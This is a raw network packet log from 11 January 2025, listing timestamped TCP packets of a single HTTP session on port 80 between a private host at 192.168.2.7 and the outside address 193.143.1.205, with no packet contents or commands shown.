Jan 11, 2025 06:43:10.670746088 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.670759916 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.670790911 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.670790911 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.670810938 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.670824051 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.670836926 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.670850992 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.670875072 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.670875072 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.670885086 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.670898914 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.670928955 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.670938015 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.670943022 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.670958042 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.670989990 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.671020031 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.671050072 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.671063900 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.671077967 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.671097994 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.671111107 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.671113014 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.671124935 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.671144962 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.671148062 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.671160936 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.671175003 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.671188116 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.671201944 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.671210051 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.671210051 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.671221972 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.671235085 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.671242952 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.671248913 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.671262980 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.671277046 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.671281099 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.671298981 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.671312094 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.671330929 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.671353102 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.671366930 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.671381950 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.671428919 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.671431065 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.671431065 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.671453953 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.671474934 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.671497107 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.671510935 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.671514034 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.671525002 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.671550035 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.671574116 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.671693087 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.671706915 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.671720982 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.671732903 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.671746016 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.671758890 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.671772003 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.671778917 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.671778917 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.671806097 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.671818018 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.671829939 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.671854973 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.671854973 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.671888113 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.695144892 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.695161104 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.695178986 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.695190907 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.695202112 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.695214033 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.695219040 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.695270061 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.695281982 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.695292950 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.695305109 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.695322990 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.695322990 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.695343018 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.695405006 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.695416927 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.695429087 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.695440054 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.695461035 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.695471048 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.695486069 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.695486069 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.695533037 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.695561886 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.695580959 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.695591927 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.695602894 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.695614100 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.695641994 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.695641994 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.711127043 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.711143017 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.711158991 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.711215973 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.711229086 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.711241007 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.711241007 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.711312056 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.718872070 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.718894005 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.718916893 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.718936920 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.718951941 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.718965054 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.718978882 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.718991041 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.718991041 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.719001055 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.719017029 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.719023943 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.719031096 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.719049931 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.719069004 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.719074011 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.719074011 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.719084024 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.719099045 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.719099045 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.719115019 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.719130039 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.719141960 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.719172955 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.743344069 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.743366957 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.743383884 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.743398905 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.743417978 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.743432999 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.743475914 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.743511915 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.743580103 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.758884907 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.758914948 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.758929014 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.758944035 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.758958101 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.758970976 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.758985996 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.758996010 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.758997917 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.759012938 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.759046078 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.759059906 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.759084940 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.759084940 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.759207964 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.759222984 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.759236097 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.759249926 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.759264946 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.759274006 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.759274006 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.759287119 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.759300947 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.759324074 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.759335041 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.759335995 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.759337902 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.759352922 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.759372950 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.759377956 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.759392977 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.759401083 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.759414911 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.759427071 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.759435892 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.759435892 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.759443998 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.759453058 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.759524107 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.759524107 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.759602070 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.759615898 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.759629965 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.759643078 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.759648085 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.759658098 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.759679079 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.759692907 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.759696960 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.759696960 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.759706974 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.759721041 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.759735107 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.759768963 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.759768963 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.759780884 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.759794950 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.759809017 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.759841919 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.759841919 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.759845018 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.759860039 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.759875059 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.759922981 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.759994984 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.760010004 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.760025024 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.760046005 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.760056019 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.760061026 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.760062933 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.760076046 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.760083914 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.760091066 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.760098934 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.760134935 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.760149002 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.760163069 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.760163069 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.760164976 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.760180950 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.760199070 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.760224104 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.760322094 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.760337114 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.760349989 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.760363102 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.760376930 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.760397911 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.760397911 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.760411024 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.760426044 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.760441065 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.760453939 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.760468006 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.760477066 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.760477066 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.760481119 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.760497093 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.760514975 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.760637045 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.783898115 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.783917904 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.783936977 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.783947945 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.783960104 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.783972025 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.783978939 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.783983946 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.784022093 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.784054995 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.784073114 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.784084082 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.784095049 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.784095049 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.784096003 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.784107924 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.784145117 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.784156084 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.784156084 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.784162998 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.784174919 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.784224987 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.837297916 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:11.055659056 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:11.056617022 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:11.358153105 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:11.363116026 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:11.363137960 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:11.363152027 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:11.363193989 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:11.365396976 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:11.370219946 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:11.370268106 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:11.370280981 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:11.370320082 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:11.370320082 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:11.370336056 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:11.370349884 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:11.370362043 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:11.370376110 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:11.370397091 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:11.370434999 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:11.370506048 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:11.370518923 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:11.370529890 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:11.370543003 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:11.370553970 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:11.370558977 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:11.370596886 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:11.370645046 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:11.370656967 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:11.370675087 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:11.370687962 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:11.370697975 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:11.370708942 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:11.370719910 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:11.370721102 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:11.370719910 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:11.370733976 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:11.370745897 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:11.370757103 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:11.370757103 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:11.370758057 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:11.370795012 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:11.370798111 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:11.370944977 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:11.370959997 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:11.370965004 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:11.370978117 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:11.370989084 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:11.371000051 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:11.371011019 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:11.371021986 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:11.371026039 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:11.371026039 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:11.371033907 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:11.371045113 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:11.371057034 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:11.371068001 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:11.371078968 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:11.371082067 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:11.371092081 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:11.371131897 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:11.371131897 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:11.371198893 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:11.371212006 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:11.371223927 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:11.371236086 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:11.371248007 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:11.371258974 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:11.371269941 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:11.371269941 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:11.371273994 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:11.371320009 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:11.371320009 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:11.735591888 CET	49699	80	192.168.2.7	193.143.1.205
